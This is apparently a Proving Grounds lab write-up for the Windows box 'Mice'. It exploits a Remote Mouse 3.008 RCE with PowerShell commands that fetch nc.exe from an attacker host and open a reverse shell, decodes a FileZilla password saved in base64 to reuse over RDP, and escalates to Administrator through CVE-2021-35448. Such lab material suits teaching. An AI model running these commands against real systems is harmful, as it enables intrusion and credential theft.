# Mice Writeup - Proving Grounds

> Easy Windows box where an unauthenticated Remote Mouse 3.008 RCE gives a user shell, a base64-encoded saved FileZilla password gives RDP access, and a Remote Mouse file-dialog trick (CVE-2021-35448) escalates to Administrator.

- **URL:** https://hackindex.io/writeups/mice
- **Platform:** Proving Grounds
- **Difficulty:** Easy
- **Operating system:** Windows
- **Tags:** rce, remote-mouse, information-disclosure, credential-reuse, privilege-escalation, cve-2021-35448
- **Authors:** [The Husky Hacker](https://hackindex.io/authors/thehuskyhacker.md)
- **Read time:** 3 min read
- **Published:** 2026-10-08
- **Updated:** 2026-10-08

Mice gets an initial shell through an unauthenticated Remote Mouse 3.008 RCE, a base64-encoded FileZilla credential in a saved profile then gives RDP access, and the same Remote Mouse application's file-dialog trick (CVE-2021-35448) escalates to Administrator.

## Reconnaissance

### Nmap

Scan and fingerprint services.

```bash
nmap -sCV $TARGET_IP
# PORT     STATE SERVICE        VERSION
# 1978/tcp open  remotemouse    Emote Remote Mouse
# 1979/tcp open  unisql-java?
# 1980/tcp open  pearldoc-xact?
# 3389/tcp open  ms-wbt-server  Microsoft Terminal Services
# 7680/tcp open  pando-pub?
```

Remote Mouse on port 1978 is the unusual service. Grab its banner.

```bash
nc $TARGET_IP 1978
# SIN 15win nop nop 300
```

Confirms Remote Mouse 3.008, which has a public unauthenticated RCE.

## Exploitation

### Remote Mouse 3.008 RCE

Host `nc.exe` for transfer and start a listener, then use the public exploit to fetch and run it on the target.

```bash
python3 -m http.server 80
nc -lnvp $ATTACKER_PORT
```

```bash
python3 RemoteMouse-3.008-Exploit.py -t $TARGET_IP -v --cmd 'powershell -c "curl http://$ATTACKER_IP/nc.exe -o C:/Windows/Temp/nc.exe"'
python3 RemoteMouse-3.008-Exploit.py -t $TARGET_IP -v --cmd 'powershell -c "C:/Windows/Temp/nc.exe $ATTACKER_IP $ATTACKER_PORT -e cmd"'
# connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP]
# C:\Users\divine>whoami
# remote-pc\divine
```

Shell as `divine`, a standard user with no useful privileges for a direct potato attack (no SeImpersonate, no usable kernel exploit for this build).

## Post-Exploitation

### Saved FileZilla credentials

Search config files for saved passwords.

```powershell
findstr /SIM /C:"pass" *.ini *.cfg *.xml
# AppData\Roaming\FileZilla\recentservers.xml: matches on "Pass"
```

```powershell
more AppData\Roaming\FileZilla\recentservers.xml
# <Server>
#     <Host>ftp.pg</Host>
#     <Port>21</Port>
#     <User>divine</User>
#     <Pass encoding="base64">$DIVINE_PASSWORD_B64</Pass>
# </Server>
```

FileZilla stores the saved password base64-encoded, not encrypted. Decode it.

```bash
echo '$DIVINE_PASSWORD_B64' | base64 -d
# $DIVINE_PASSWORD
```

Credentials `divine:$DIVINE_PASSWORD`. Use them over RDP for a full desktop session, needed for the GUI-based privilege escalation.

## Privilege Escalation

### CVE-2021-35448: Remote Mouse GUI local privilege escalation

Log in over RDP with the recovered credentials.

```bash
xfreerdp3 /u:divine /p:$DIVINE_PASSWORD /v:$TARGET_IP
# [INFO] Authentication succeeded
```

Inside the session, open Remote Mouse from the system tray, go to Settings, and click **Change…** under Image Transfer Folder. In the resulting Save As dialog, type `C:\Windows\System32\cmd.exe` into the address bar and press Enter: the dialog spawns a command prompt running as Administrator, because the Remote Mouse background service itself runs elevated.

```powershell
whoami
# remote-pc\administrator
```

Related

## References

- [RemoteMouse-3.008-Exploit](https://github.com/p0dalirius/RemoteMouse-3.008-Exploit) - Unauthenticated remote code execution exploit for Remote Mouse 3.008.
- [CVE-2021-35448](https://nvd.nist.gov/vuln/detail/CVE-2021-35448) - Remote Mouse GUI 3.008 local privilege escalation via the file-save dialog.